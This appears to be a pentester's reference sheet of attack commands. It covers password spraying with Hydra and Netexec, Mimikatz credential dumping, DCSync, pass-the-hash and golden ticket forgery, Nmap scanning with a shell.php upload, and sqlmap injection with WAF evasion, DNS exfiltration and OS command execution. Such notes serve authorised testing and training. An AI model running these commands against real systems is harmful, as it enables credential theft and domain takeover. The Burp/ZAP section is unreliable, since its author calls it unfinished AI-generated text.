# SSH password spraying (1 password vs many users) hydra -L <USER_LIST> -p '<PASSWORD>' -f -V -t 4 ssh://<TARGET> # Web form password spraying hydra -L <USER_LIST> -p '<PASSWORD>' -f -V <TARGET> http-post-form "/login:user=^USER^&pass=^PASS^:F=Invalid"Important Notes
- Account Lockout Risk: Brute-forcing (many passwords vs 1 user) has a RISK of account lockout due to account lockout policy. Use small wordlists and be cautious.
- Thread Count: Use
-t 4for SSH to avoid overwhelming the service. Web forms can handle higher thread counts like-t 16. - Wordlist Selection: For online attacks, use small wordlists (e.g., top 1000 passwords) to minimize lockout risk and reduce time.
- Output: Always use
-o <OUTPUT_FILE>to save results for later analysis.
Mimikatz
Mimikatz is a post-exploitation tool that can extract plaintext passwords, hashes, PINs, and Kerberos tickets from memory. It can also perform pass-the-hash, pass-the-ticket, and build Golden Tickets.
TL;DR Credential Dumping Checklist
privilege::debug token::elevate sekurlsa::logonpasswords sekurlsa::wdigest sekurlsa::ekeys lsadump::sam lsadump::secrets lsadump::cache lsadump::lsa /patchImportant Notes
- Debug Privilege: Most Mimikatz operations require
privilege::debugto access LSASS memory - Administrator Required: Mimikatz typically needs administrator privileges to function
- LSASS Access: Many operations read from LSASS memory, which is protected by Windows
- Detection: Mimikatz is heavily flagged by security products and EDR solutions
- Pass the Hash: When using
sekurlsa::pth, a new window will open - run commands in that new window - Golden Tickets: Golden Tickets are valid until the KRBTGT account password is changed (typically 180 days by default)
- Ticket Files: Exported Kerberos tickets use
.kirbiformat - Domain Syntax: Use “.” for domain when targeting local machine accounts
Basic Usage & Privilege Escalation
# Launch Mimikatz (via SMB share) \\tsclient\share\mimikatz.exe # Enable debug privilege (required for most operations) privilege::debug # Elevate token to SYSTEM token::elevate # Write to console in bae64 (avoid AV flagging) base64 /out:true # Write output to a logfile (flagged by AV!) log <LOGFILE>.txtCredential Dumping
LSASS Memory (sekurlsa)
Dump All Credentials:
# VERBOSE: Dumps credentials from all providers (Kerberos, WDigest, MSV, etc.) sekurlsa::logonpasswordsDump WDigest Plaintext Credentials:
# Plaintext creds if WDigest is enabled (older systems or manually enabled) sekurlsa::wdigestDump Specific Hash Types:
# Dumps only LM/NTLM hashes sekurlsa::msvExport Kerberos Tickets:
# Avoid AV flagging base64 /out:true # Export Kerberos Tickets (TGT/TGS) to disk sekurlsa::tickets /export # $ : machine tickets (computers) # @ : service tickets (users)Extract AES Keys:
# Extract AES Keys for Pass the Key attacks sekurlsa::ekeysSAM Database
# Dumps local SAM database (local user hashes) lsadump::samLSA Secrets
# Patches LSASS to dump LSA policy data/hashes lsadump::lsa /patch# Dumps LSA secrets from registry (autologon, service account passwords, etc.) lsadump::secrets# Dumps cached domain logon hashes (DCC2) lsadump::cacheDump Specific Account:
# Dump specific account (e.g., KRBTGT for Golden Ticket) lsadump::lsa /inject /name:krbtgtDCSync
Might require
runas.# Specific user lsadump::dcsync /domain:<DOMAIN> /user:<DOMAIN>\<USER> # For KRBTGT lsadump::dcsync /domain:<DOMAIN> /user:<DOMAIN>\krbtgt # All users # WARNING: takes a long time... write output to a file! log dc_sync.txt lsadump::dcsync /domain:<DOMAIN> /allPass the Hash (PtH)
Pass the Hash allows you to authenticate using an NTLM hash instead of a plaintext password.
# Use "." for domain if targeting local machine # IMPORTANT: Run commands inside the NEW window that pops up sekurlsa::pth /user:<USER> /ntlm:<PASS_HASH> /domain:<DOMAIN> /run:cmd.exeAlternative Syntax:
sekurlsa::pth /domain:<DOMAIN> /user:<USER> /ntlm:<HASH> /run:cmd.exePass the Key (PtK) / OverPass the Hash (OtH)
Concept: Request a Kerberos Ticket (TGT) using an NTLM hash or AES Key, rather than using the NTLM protocol directly.
Extract AES Keys First:
sekurlsa::ekeysPass the Key with AES:
# Spawns a process. Windows will implicitly request TGT using the injected key/hash when network resources are accessed. # Can use /ntlm, /aes128, or /aes256 sekurlsa::pth /domain:<DOMAIN> /user:<USER> /aes256:<AES256_KEY> /run:cmd.exePass the Ticket (PtT)
Pass the Ticket allows you to use stolen Kerberos tickets to authenticate as another user.
Export Tickets:
# Export tickets from memory to .kirbi files sekurlsa::tickets /exportInject Ticket:
# Inject ticket into current session kerberos::ptt <TICKET_FILE.kirbi> misc::cmd exitGolden & Silver Ticket Attack
A Golden Ticket is a forged Kerberos TGT that allows you to impersonate any user in the domain, including domain administrators.
A Silver Ticket is a forged Kerberos TGS that allows you to impersonate any user on a single machine.
Step 1: Get KRBTGT Hash & SID
Method A (On DC):
lsadump::lsa /inject /name:krbtgtMethod B (Remote DCSync):
lsadump::dcsync /domain:<DOMAIN> /user:krbtgtStep 2: Create & Inject Ticket
/ptt- This flag tells Mimikatz to inject the ticket directly into the session, meaning it is ready to be used./endin- The ticket lifetime. By default, Mimikatz generates a ticket that is valid for 10 years. The default Kerberos policy of AD is 10 hours (600 minutes)/renewmax- The maximum ticket lifetime with renewal. By default, Mimikatz generates a ticket that is valid for 10 years. The default Kerberos policy of AD is 7 days (10080 minutes)/user: can use any value including non-existent users
# GOLDEN TICKET kerberos::golden /ptt /id:500 /user:Administrator /domain:<DOMAIN> /sid:<SID> /krbtgt:<NTLM> # SILVER TICKET kerberos::golden /ptt /id:500 /user:Administrator /domain:<DOMAIN> /sid:<SID> /service:cifs /target:<MACHINE_FQDN> /rc4:<MACHINE_HASH>Step 3: Launch Shell
# OPTIONAL: Launch shell or exit and use the current shell since /ptt was used misc::cmd # this only works via RDP exit # Verify ticket is working by reading DC share dir \\<DC_FQDN>\c$\Credential Manager
Dump credentials stored in Windows Credential Manager:
sekurlsa::credmanDPAPI (Data Protection API)
Decrypt data protected by Windows DPAPI, such as browser credentials:
dpapi::chrome /in:"C:\Users\<USER>\AppData\Local\Google\Chrome\User Data\Default\Login Data" /unprotectNetexec
- https://www.netexec.wiki/getting-started/selecting-and-using-a-protocol
- Logs:
~/.nxc/logs/
- Logs:
- Cheatsheet: https://gist.github.com/strikoder/99635df00444bbf5fc90ca83ec8051a0
NOTES:
- by default,
netxecattempts to authenticate with passwords or hashes at the domain level… use--local-authto force local authentication, since sometimes passwords and usually hashes are different at these levels (Pwn3d!)for valid creds means an Administrator account
Netexec (formerly CrackMapExec) is a swiss army knife for pentesting networks that helps automate assessing the security of large networks in AD environments. Netexec uses
secretsdumplibraries under its hood, so it is the preferred tool for network enumeration (thoughsecretsdumpis still great for offline hash extraction or targeted actions)Protocol Selection
Netexec supports multiple protocols. Check available services with:
nxc -hCommon protocols include:
mssql own stuff using MSSQLwinrm own stuff using WINRMldap own stuff using LDAPsmb own stuff using SMBssh own stuff using SSHvnc own stuff using VNCwmi own stuff using WMIftp own stuff using FTPrdp own stuff using RDP- And sometimes more…
Password Policy Enumeration
Enumerate password policy information via SMB:
# Anonymous password policy enumeration nxc smb <TARGET> --pass-pol # Authenticated password policy enumeration nxc smb <TARGET> -u <USER> -p <PASS> --pass-polUser Enumeration
Enumerate Users
# Enumerate users via SMB (anonymous or authenticated) nxc smb <TARGET> --users # Authenticated user enumeration nxc smb <TARGET> -u "<USERNAME>" -p "<PASSWORD>" --usersEnumerate Groups
# Enumerate groups nxc smb <TARGET> -u "<USERNAME>" -p "<PASSWORD>" --groups # Find high value users (e.g., Domain Admins) nxc smb <TARGET> -u <USER> -p <PASSWORD> --groups "Domain Admins"Share Enumeration
# List available shares nxc smb <TARGET> -u "<USERNAME>" -p "<PASSWORD>" --shares # List all files nxc smb <TARGET> -u "<USERNAME>" -p "<PASSWORD>" -M spider_plus --share "Departments Shares" cat /tmp/nxc_spider_plus/*.json | python3 -m json.toolPassword Spraying
Password spraying uses one password against many users (alternates users), which has no risk of account lockout compared to brute-forcing. This is useful as a “hail Mary” to find any way in!
Best practice: Obtain account lockout policy beforehand (via enumeration or asking customer); if you don’t know the password policy, a good rule of thumb is to wait a few hours between attempts, which should be long enough for the account lockout threshold to reset.
# Check nxc -h for services # Password spraying (many users vs 1 password) nxc smb <TARGET> -u <USERS> -p <PASSWORD> | grep '+' # Local authentication (tries local authentication instead of domain authentication) # Mitigated with: https://learn.microsoft.com/en-us/windows-server/identity/laps/laps-overview nxc smb <TARGET> -u <USERS> -p <PASSWORD> --local-auth | grep '+'Pass the Hash (PtH)
Netexec supports pass-the-hash attacks for lateral movement:
# Target can also be a subnet (CIDR) # -d . = Local Account | -d <DOMAIN> = Domain Account # --local-auth forces local check if implied domain fails # :<PASS_HASH> implies empty LM hash (LM:NT) nxc smb <TARGET> -u <USER> -d . -H <PASS_HASH> --local-auth # Domain account with hash nxc smb <TARGET> -u <USER> -d <DOMAIN> -H <PASS_HASH>Credential Dumping
LSA Secrets
Remotely dump LSA secrets from a target:
# Dump LSA secrets remotely nxc smb <TARGET> --local-auth -u <USER> -p <PASSWORD> --lsaSAM Database
Remotely dump SAM database secrets:
# Dump SAM secrets remotely nxc smb <TARGET> --local-auth -u <USER> -p <PASSWORD> --samActive Directory Operations
NTDS Extraction
- https://www.netexec.wiki/smb-protocol/obtaining-credentials/dump-ntds.dit
- NOTE: this can sometimes crash the DC:
# Extract NTDS.dit using ntdsutil module (copies NTDS.dit then parses it) nxc smb <TARGET> -u <ADMIN_USER> -p <PASSWORD> -M ntdsutilTo dump one account instead of the full database, add
--ntds --user <USER>:# Dump a specific user only (NTDS hash extraction scoped to one account) nxc smb <TARGET> -u <USER> -p <PASSWORD> --ntds --user Administrator nxc smb <TARGET> -u <USER> -p <PASSWORD> --ntds --user krbtgtLDAP Operations
Admin Count Enumeration
Find high-value users with adminCount=1 (includes Domain Admins, Enterprise Admins, Backup Operators, etc.):
# Enumerate users with adminCount=1 via LDAP nxc ldap <TARGET> -u <USER> -p <PASSWORD> --admin-countCommand Execution
Sudo is REQUIRED because these operations act as a server/listener.
--exec-methodProtocol How Noise Port wmiexec(default)WMI WMI process create Lower 135 smbexecSMB Creates a Windows service Medium 445 atexecSMB Scheduled task Lower 445 mmcexecDCOM MMC20 DCOM object Lowest 135 # cmd.exe sudo nxc smb <TARGET> -u <USER> -p <PASSWORD> -x '<COMMAND>' # PowerShell sudo nxc smb <TARGET> -u <USER> -p <PASSWORD> -X '<COMMAND>'Modules
# Show modules for protocol nxc <PROTOCOL> -L # Show more info for module nxc <PROTOCOL> <MODULE> --options # Set modules options # NOTE: SPACE BETWEEN MODULES nxc <PROTOCOL> <MODULE> -o <MOD_KEY>=<MOD_VALUE> <MOD_KEY>=<MOD_VALUE>,...# spider_plus: Download all shares except the excluded defaults; max file size 10MB nxc smb <TARGET> -u <USER> -p <PASS> -M spider_plus -o DOWNLOAD_FLAG=True OUTPUT_FOLDER=$HOME/nxc_spider MAX_FILE_SIZE=$((1024 * 1024 * 10)) EXCLUDE_FILTER='admin$,c$,ipc$,NETLOGON,SYSVOL'Module Command Purpose spider_plusnxc smb <T> -M spider_plusCrawl shares, index all files ntdsutilnxc smb <T> -M ntdsutilSafe NTDS dump from disk lsassynxc smb <T> -M lsassyRemote LSASS dump + parse lapsnxc ldap <T> -M lapsRead LAPS passwords gpp_passwordnxc smb <T> -M gpp_passwordGPP cpassword decrypt ntds-dump-rawnxc smb <T> -M ntds-dump-rawRaw disk NTDS extraction nanodumpnxc smb <T> -M nanodumpStealthier LSASS dump gpp_autologinnxc smb <T> -M gpp_autologinGPP autologon creds webdavnxc smb <T> -M webdavCheck if WebDAV enabled petitpotamnxc smb <T> -M petitpotamCoerce NTLM auth nopacnxc smb <T> -M nopacCheck noPac/sAMAccountName vuln zerologonnxc smb <T> -M zerologonCheck Zerologon vuln Nmap
nmapgrep: https://github.com/leonjza/awesome-nmap-grep
Scanning
Open- received TCP SYN-ACKClosed- received TCP RSTFiltered- no responseUnfiltered- (with-sATCP ACK scans) can’t determine the state, but the port is accessibleOpen/Filtered- can’t tell if the port is open or blocked by a firewallClosed/Filtered- (with-sIIP ID idle scan) can’t tell if the port is closed or blocked by a firewall
# Host Discovery sudo nmap --open -oA host_discovery_simple.txt -iL scope.txt # NOTE: this is optimized for labs: # -T4 --max-rtt-timeout 150ms --min-parallelism 100 --min-rate 1000 --max-retries 1 sudo nmap -n -sn -v --stats-every 30s -PS445,80,443,3389,135,5985,22,8080,111 -oA host_discovery.txt -iL scope.txt -T4 --max-rtt-timeout 150ms --min-parallelism 100 --min-rate 1000 --max-retries 1 --- awk '/Up$/{print $2}' host_discovery.txt > live_hosts.txtFor “ghost hosts” consider:
-PU137,138,161,53,67,123,500,4500to scan UDP (though very slow)- TCP Full-Scan (3-way handshake): https://github.com/bee-san/RustScan
- TCP Half-Scan (SYN): https://github.com/robertdavidgraham/masscan
# All ports (TCP Full Scan) rustscan -a live_hosts.txt --ulimit 5000 -- -sC -sV -v --stats-every 30s -oA nmap_rustscan_all_ports # Massive network (SYN Half Scan) sudo masscan --rate 1000 -p1-65535 -iL live_hosts.txt -oL masscan.txt -e <INTERFACE> PORTS=$(awk '/open/ {print $3}' masscan.txt | sort -u | paste -sd, -) sudo nmap --stats-every 30s -sS -sV -sC -v -p$PORTS -oA nmap_masscan_all_ports <TARGET># UDP sudo nmap -sU -sV --top-ports 100 -v -oA nmap_top100_udp <TARGET># Find Live Hosts sudo nmap -n -sn --reason -oA host_disc <TARGET> # Create list grep 'Status: Up' host_disc.gnmap | awk '{print $2}' | tee live_hosts.txt # Scan normally w/ list sudo nmap -n -Pn -sS -sV -sC --reason --top-ports=1000 -oA host_disc_live -iL live_hosts.txt # Trace packet (MORE INFO) sudo nmap -n -Pn -sS --packet-trace --disable-arp-ping -p <PORT> <TARGET> # TCP Full-Connect (3-way handshake) sudo nmap -n -Pn -sT -sV -sC --reason <TARGET> # UDP (normally no response) sudo nmap -n -Pn -sU -sV -sC --reason --top-ports=100 <TARGET> # Create HTML reports from nmap XML scan # https://nmap.org/book/output.html xsltproc <SCAN_FILE>.xml -o <OUTPUT>.html # SPAM: scan using multiple IP addresses sudo nmap -n -Pn --max-retries=1 --source-port <SRC_PORT> -D RND:5 <TARGET> # --max-retries <ATTEMPTS> # -T <AGGRESSION_1_5> # --packet-trace # --reason # --disable-arp-ping # --top-ports=<NUM> # --script <SCRIPT> # -g <SRC_PORT> # --dns-server <NAMESERVER>Static
nmapA static
nmapwill not be able to perform-sC/--scriptnor-sVand there might be some issues with-OOS detection.-sT,-sS(root), and-sVshould be finewget https://github.com/andrew-d/static-binaries/raw/refs/heads/master/binaries/linux/x86_64/nmap scp -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null nmap <USER>@<TARGET>:/tmp/ chmod +x nmap ./nmap -n -Pn -sT --stats-every 15s -vvv <TARGET_SUBNET>Nmap Scripting Engine (NSE)
The Nmap Scripting Engine (NSE) extends Nmap’s functionality with custom scripts for vulnerability detection, service enumeration, and exploitation.
Reference: NSE Usage Guide
How to Use NSE
Basic Usage:
-sC- Run a set of popular, common scripts--script- Run specific scripts by name, category, or file path--script-help- Show arguments for--script-args
Advanced Usage:
- Combine scripts with wildcards:
--script "smb-*,http-*" - Use comprehensive documentation: NSE Script Database
- Search for scripts:
grep "ftp" /usr/share/nmap/scripts/script.db
# --script-trace : trace script scans nmap -p 80 --script http-put --script-args http-put.url='/dav/shell.php',http-put.file='./shell.php' -oA nmap_http_put <TARGET>Script Categories
Location:
/usr/share/nmap/scriptsCategory Description authScripts related to authentication, such as bypassing credentials or checking for default ones. broadcastUsed to discover hosts on the local network by broadcasting requests. bruteScripts that perform brute-force attacks to guess passwords or credentials. defaultThe core set of scripts that are run automatically with -sCor-A.discoveryActively gathers more information about a network, often using public registries or protocols like SNMP. dosTests for vulnerabilities that could lead to a denial-of-service attack. exploitActively attempts to exploit known vulnerabilities on a target system. externalInteracts with external services or databases. fuzzerSends unexpected or randomized data to a service to find bugs or vulnerabilities. intrusiveThese scripts can be noisy, resource-intensive, or potentially crash the target system. malwareScans for known malware or backdoors on a target host. safeScripts that are considered safe to run as they are not designed to crash services, use excessive resources, or exploit vulnerabilities. versionExtends the functionality of Nmap’s version detection feature. vulnChecks a target for specific, known vulnerabilities. Install New NSE Script
sudo wget --output-file /usr/share/nmap/scripts/<SCRIPT>.nse \ https://svn.nmap.org/nmap/scripts/<SCRIPT>.nse nmap --script-updatedbSQLmap
- https://github.com/sqlmapproject/sqlmap/wiki/Usage
- use the “Enumeration” section once finding vuln points
- Logs:
~/.local/share/sqlmap/output/<TARGET>
Core Flags
Option Purpose -u/--urlTarget URL (GET params tested by default). --dataPOST body (e.g. 'uid=1&name=test'). Use*at injection point:'uid=1*&name=test'.-pTest only this parameter (e.g. -p uid).-rRequest file β full HTTP request (from Burp / Copy to file). Put *in the request where to inject (e.g./?id=*).--cookieSession cookie (e.g. --cookie='PHPSESSID=...'). Use*in value to test cookie:--cookie="id=1*".-H/--headerCustom header(s). Same for --host,--referer,-A/--user-agent.--random-agentRandom User-Agent from built-in list (evade WAF that blocks sqlmap default). --mobileUse a mobile User-Agent. --methodHTTP method (e.g. --method PUT).--batchNon-interactive (no prompts). Workflow
NOTE: Donβt rely on sqlmap to crawl or guess…
Capture the exact request via:
- a web proxy, save it to a file, and feed it to sqlmap
- browser Web Developers Tools as a cURL command, then change
curltosqlmapand add any additional options like--forms
# WEB PROXY: Capture request > Save > 'request.txt' sqlmap --batch -r request.txt --- # Auto-parse HTML forms (if no proxy) sqlmap --forms --batch -u "<URL>" # Spider the site to find parameters sqlmap --crawl=3 --batch -u "<URL>" # (REST/JSON) Manual injection point -- use '*' where to inject sqlmap --batch -u "http://target.com/api/v1/user/105*"By default sqlmap prioritizes speed: level 1 only tests GET (URL) and POST (body). It does not test cookies or headers unless you raise the level.
-r(request file): Gold standard. Raw HTTP request = exact cookies, JSON, headers; no guessing.--forms: Parses the HTML response, finds<form>inputs, and builds POST requests. Without it, a URL that only shows a login form is only tested as GET.*marker: For REST (e.g./user/105) or when the injection point isnβt a normal param, put*at the value to test:sqlmap -u "http://target/item/12*"β sqlmap injects at12.
Techniques (BEUSTQ)
Try the simpler/faster techniques first to find easy wins, but
NOTE: remember this will miss techniques!
sqlmap --technique=BEUUnion-based
Combine two queries to dump data directly into the response. Count the displayed columns (and maybe iteratively increase columns amount)
sqlmap -u "<URL>" --technique=U --union-cols=5Error-based
Trigger DB errors that leak data inside the error message.
sqlmap -u "<URL>" --technique=EBlind Boolean
Infer data from whether the page content or behaviour changes (true vs false).
NOTE: careful this is a very unstable method that might require multiple runs or
--no-castsqlmap -u "<URL>" --technique=B --level 5 --risk 3Blind Time
Infer data from response delays (e.g. SLEEP) when the condition is true.
sqlmap -u "<URL>" --technique=TStacked queries
Append extra SQL statements after the vulnerable one (e.g. INSERT/UPDATE/DELETE or OS commands); requires DB support (e.g. MSSQL, PostgreSQL).
sqlmap -u "<URL>" --technique=SInline queries
Query embedded inside the original query; uncommon and app-dependent.
sqlmap -u "<URL>" --technique=QOut-of-band
Exfiltrate via DNS or HTTP to a server you control when no output is visible.
sqlmap -u "<URL>" --dns-domain=<DOMAIN>Troubleshooting
- JSON/XML / APIs: sqlmap may not detect parameters automatically. Use
-rwith a captured request or raise--level. - Headers & cookies: Level 1 ignores them.
--level 2= cookies;--level 3= User-Agent/Referer;--level 5= Host. - CSRF tokens: If the form needs a fresh token per request, replay fails. Use
--csrf-token="csrf_token_name"or--csrf-url.
Option Purpose --parse-errorsParse and display DBMS errors (syntax, access, etc.) so you can see what the database is complaining about. -t <FILE>Store all traffic (requests and responses) to a file. Inspect manually to see where the failure occurs. -v <LEVEL>Verbosity (e.g. -v 6). More console output; full HTTP requests/responses in real time so you can follow what sqlmap is doing.--proxy <URL>Route sqlmap through a proxy (e.g. Burp: --proxy http://127.0.0.1:8080). Inspect, repeat, and use proxy features on every request.# Show DBMS errors sqlmap -u "http://target.com/vuln.php?id=1" --batch --parse-errors # Log traffic to file sqlmap -u "http://target.com/vuln.php?id=1" --batch -t /tmp/traffic.txt # Verbose (e.g. level 6) sqlmap -u "http://target.com/vuln.php?id=1" -v 6 --batch # Via Burp sqlmap -u "http://target.com/vuln.php?id=1" --batch --proxy http://127.0.0.1:8080Attack Tuning & Escalation
“Silver Bullet” Commands
When default
sqlmapfails to find an injection, match your scenario to one of these three archetypes.Archetype A: The Logic/Bracket Failure (OR Payloads) Use when
ANDlogic fails, or the query uses heavily nested parentheses(((...))).*tells SQLMap to replace the parameter entirely (creates a clean True/False baseline).--risk 3enablesORpayloads.--level 5tests maximum combinations of closing brackets/quotes.
sqlmap -u "http://<TARGET>/case5.php?id=*" --level 5 --risk 3 -T <TABLE> --dump --batchArchetype B: The Custom Boundary (Manual Prefix) Use when you manually found the syntax breaker in Burp (e.g.,
)), but SQLMap isn’t guessing it.--prefixforces SQLMap to inject the exact closing syntax before its payload.
sqlmap -u "http://<TARGET>/case6.php?col=id" --prefix='`)' --dump --batchArchetype C: The Union Structure Failure Use when SQLMap detects a parameter but fails to extract data via UNION.
--technique=Uforces UNION-based SQLi (saves time).--union-cols=5tells SQLMap exactly how many columns exist (find this manually withORDER BY 5in Burp).
sqlmap -u "http://<TARGET>/case7.php?id=1" --technique=U --union-cols=5 --dump --batchAdvanced Tuning
When SQLMap is hallucinating data or failing to distinguish True/False pages, use these flags to fix its baseline.
Flag Purpose / Mechanic Boundaries & Coverage --level=5Tests more parameters (Cookies, Headers) and uses complex boundary closures ( ))),"").--risk=3Enables ORlogic payloads. Required for Login bypasses andUPDATE/DELETEqueries.--prefix="..."Manually close the developer’s SQL string (e.g., --prefix="%'))").--suffix="..."Manually comment out the rest of the developer’s SQL (e.g., --suffix="-- -").Boolean State Tuning (Fixes “Hallucinations” and “2 Letters Off” errors) --string="Success"Marks a page as TRUE only if this exact word appears. --text-onlyStrips all HTML tags before comparing True/False. Fixes wobble from dynamic hidden fields. --code=200Uses HTTP Status Codes to define TRUE. --titlesCompares the <title>tags instead of the whole body.Execution Control --technique=BEUOnly use Boolean, Error, and Union. Skips Time-based ( T) which causes timeouts.--union-char='a'Replaces NULLwith a string character. Fixes strict typing errors in UNION queries.--union-from=usersAppends a specific table to the UNION payload (Required for Oracle DBs). Evasion & Protections Bypass
Application Logic & Request
Flag Description --csrf-token="name"Automatically parses the HTTP response to extract and update anti-CSRF tokens for subsequent requests. --randomize="param"Generates a random value for a specific parameter per request, bypassing anti-automation unique-value checks. --eval="python_code"Executes inline Python to calculate dynamic parameter values (e.g., import hashlib; h=hashlib.md5(id).hexdigest()).Network & Protocol Evasion
Flag Description --random-agentReplaces the default sqlmapUser-Agent with a random, legitimate browser UA to bypass basic blacklists.--skip-wafSkips SQLMap’s initial, highly-noisy WAF heuristic payload check. --proxy="url"Routes traffic through a single proxy (e.g., socks4://127.0.0.1:9050) or a list (--proxy-file).--torRoutes traffic via the Tor network (use --check-torto verify anonymization).--chunkedUses HTTP chunked transfer encoding to split POST bodies, bypassing WAF keyword inspection at the protocol layer. --hppHTTP Parameter Pollution. Splits the payload across multiple identical parameters (e.g., ?id=1&id=UNION&id=SELECT).Tamper Scripts
Tamper scripts use Python to rewrite the SQL payload before it is sent to the target. They can be chained by comma-separating them (e.g.,
--tamper=space2comment,randomcase).- Official Repository: github.com/sqlmapproject/sqlmap/tree/master/tamper
- List locally:
sqlmap --list-tampers
Tamper-Script Description 0eunionReplaces instances of UNIONwithe0UNIONbase64encodeBase64-encodes all characters in a given payload betweenReplaces greater than operator ( >) withNOT BETWEEN 0 AND #and equals operator (=) withBETWEEN # AND #commalesslimitReplaces (MySQL) instances like LIMIT M, NwithLIMIT N OFFSET McounterpartequaltolikeReplaces all occurrences of operator equal ( =) withLIKEcounterparthalfversionedmorekeywordsAdds (MySQL) versioned comment before each keyword modsecurityversionedEmbraces complete query with (MySQL) versioned comment modsecurityzeroversionedEmbraces complete query with (MySQL) zero-versioned comment percentageAdds a percentage sign ( %) in front of each character (e.g.SELECT->%S%E%L%E%C%T)plus2concatReplaces plus operator ( +) with (MSSQL) functionCONCAT()counterpartrandomcaseReplaces each keyword character with random case value (e.g. SELECT->SEleCt)space2commentReplaces space character ( ) with comments/**/space2dashReplaces space character ( ) with a dash comment (--) followed by a random string and a new line (\n)space2hashReplaces (MySQL) instances of space character ( ) with a pound character (#) followed by a random string and a new line (\n)space2mssqlblankReplaces (MSSQL) instances of space character ( ) with a random blank character from a valid set of alternate charactersspace2plusReplaces space character ( ) with plus (+)space2randomblankReplaces space character ( ) with a random blank character from a valid set of alternate characterssymboliclogicalReplaces ANDandORlogical operators with their symbolic counterparts (&&and')versionedkeywordsEncloses each non-function keyword with (MySQL) versioned comment versionedmorekeywordsEncloses each keyword with (MySQL) versioned comment Database Enumeration
Option Purpose --banner --current-user --current-db --is-dbaDB version, user, DB name, is DBA. --users --passwordsEnumerate DB users and hashes (needs high priv). --dbsList all databases. -D <DB> --tablesList tables in database. -D <DB> -T <TABLE> --columnsList columns in table. -D <DB> -T <TABLE> --dumpDump entire table. -C col1,col2 --dumpDump only specified columns. --start=N --stop=M --dumpDump rows N through M. --where="cond" --dumpDump only rows matching condition. --dump-all --exclude-sysdbsDump all DBs except system (e.g. information_schema, mysql). --is-dbatrue βPivot to --os-shell/--file-read(RCE).Dump path ~/.local/share/sqlmap/output/; use--dump-format=sqlitefor large DBs.DBMS root β Linux root DB root can write anywhere only if DBMS runs as Linux root. OS Exploitation Options
Option Description --file-write="local"Specifies the local file you want to upload to the target. --file-dest="remote"Specifies the absolute path on the target server where the file should be written. --os-cmd="cmd"Executes a single operating system command and retrieves the output. tmux
Install and Setup
Install Tmux Plugin Manager (TPM):
sudo apt install -y tmux xclip mkdir -p ~/my_data/ cat > ~/.tmux.conf <<'EOF' set -g history-limit 50000 set -g mouse on set -g @logs_dir "$HOME/my_data/tmux_logs" run-shell 'mkdir -p "#{@logs_dir}"' set-hook -g after-new-session 'pipe-pane -o "cat >> #{@logs_dir}/$(date +%Y%m%d-%H%M%S)-#{session_name}-#{window_index}-#{pane_index}.log"' set-hook -g after-new-window 'pipe-pane -o "cat >> #{@logs_dir}/$(date +%Y%m%d-%H%M%S)-#{session_name}-#{window_index}-#{pane_index}.log"' set-hook -g after-split-window 'pipe-pane -o "cat >> #{@logs_dir}/$(date +%Y%m%d-%H%M%S)-#{session_name}-#{window_index}-#{pane_index}.log"' set-hook -g session-created 'run-shell "tmux list-panes -s -F \"#{pane_id}\" | xargs -I{} tmux pipe-pane -t {} -o \"cat >> #{@logs_dir}/$(date +%Y%m%d-%H%M%S)-restored-{}.log\""' set -g @plugin 'tmux-plugins/tpm' set -g @plugin 'tmux-plugins/tmux-sensible' set -g @plugin 'tmux-plugins/tmux-sessionist' set -g @plugin 'tmux-plugins/tmux-pain-control' # set -g @plugin 'tmux-plugins/tmux-resurrect' set -g @plugin 'tmux-plugins/tmux-continuum' set -g @plugin 'tmux-plugins/tmux-yank' set -g @plugin 'sainnhe/tmux-fzf' set -g @plugin 'christoomey/vim-tmux-navigator' set -g @plugin 'catppuccin/tmux' set -g @continuum-restore 'on' set -g @continuum-save-interval '15' set -g @resurrect-capture-pane-contents 'on' set -g @resurrect-strategy-vim 'session' set -g @catppuccin_flavour 'mocha' set -g @catppuccin_window_status_style "rounded" set -g status-right "#{E:@catppuccin_status_session} #{E:@catppuccin_status_host}" run '~/.tmux/plugins/tpm/tpm' EOF [ ! -d ~/.tmux/plugins/tpm ] && git clone https://github.com/tmux-plugins/tpm ~/.tmux/plugins/tpm export TMUX_PLUGIN_MANAGER_PATH="$HOME/.tmux/plugins/" tmux start-server tmux new-session -d $TMUX_PLUGIN_MANAGER_PATH/tpm/bin/install_plugins tmux kill-server printf '\n[ -z "$TMUX" ] && exec tmux\n' >> ~/.bashrc printf '\n[ -z "$TMUX" ] && exec tmux\n' >> ~/.zshrcTmux Core Hotkeys
Default Prefix:
CTRL+BAction Hotkey Description Create New Tab (Window) Prefix+CCreates a new tmux window (full-screen tab). Next Tab Prefix+NSwitches to the next tmux window. Previous Tab Prefix+PSwitches to the previous tmux window. Switch by Number Prefix+0-9Jumps directly to a window by index. Rename Current Tab Prefix+,Renames the current window for easier tracking. Tmux Logging Hotkeys
Note: Logging is enabled by default in this config via
pipe-pane, with one timestamped file per pane in~/.tmux/logs/(format:YYYYmmdd-HHMMSS-session-window-pane.log). The plugin hotkeys below are still useful for manual/retroactive captures. See docs for changing plugin logging options.Action Hotkey Description Toggle Logging Prefix+Shift+PStarts/stops logging the current pane to a file. Retroactive Log Prefix+Alt+Shift+PSaves the entire pane history (up to history-limit) if you forgot to start logging initially.Pane Capture Prefix+Alt+PSaves only the currently visible screen. Solves copy/paste formatting messes when panes are split. Web proxy tools (OWASP ZAP & Burp Suite)
WIP: currently this is AI slop distilled from handouts
Quick reference: hotkeys
Same action, side by side for both tools.
Action OWASP ZAP Burp Suite Toggle request intercept Ctrl+B β Forward intercepted request β β Intercept response β β Open Replacer / Match and Replace Ctrl+R β Send to Repeater β Ctrl+R (send); Ctrl+Shift+R (go to tab) Send to Intruder β Ctrl+I (send); Ctrl+Shift+I (go to tab) URL-encode selection β (auto on send) Ctrl+U Open Decoder / Encoder Ctrl+E β Tool-agnostic overview
Setting up
Concept (tool-agnostic):
Both tools run on Windows, macOS, and Linux. They are pre-installed on common PT distros (e.g. Parrot, Kali) and on PwnBox (dock or top bar). Both require a Java Runtime Environment (JRE); installers usually bundle it. For custom VMs you can use installers or the cross-platform JAR and run withjava -jar <path/to/tool.jar>. Choose a temporary project/session for short engagements; use a saved project/session when you need to persist progress (e.g. large apps or long-running scans).Burp Suite
- Download: Burp Download Page β installers for Windows, Linux, macOS, or JAR for any OS with JRE.
- Launch: From terminal run
burpsuite, or from the application menu. JAR:java -jar </path/to/burpsuite.jar>(or double-click). - First run: Create a project β choose Temporary project (Community Edition only supports temporary; Pro/Enterprise can save to disk or open existing). Then choose Use Burp Defaults (or load a config file if you have one) β Start Burp.
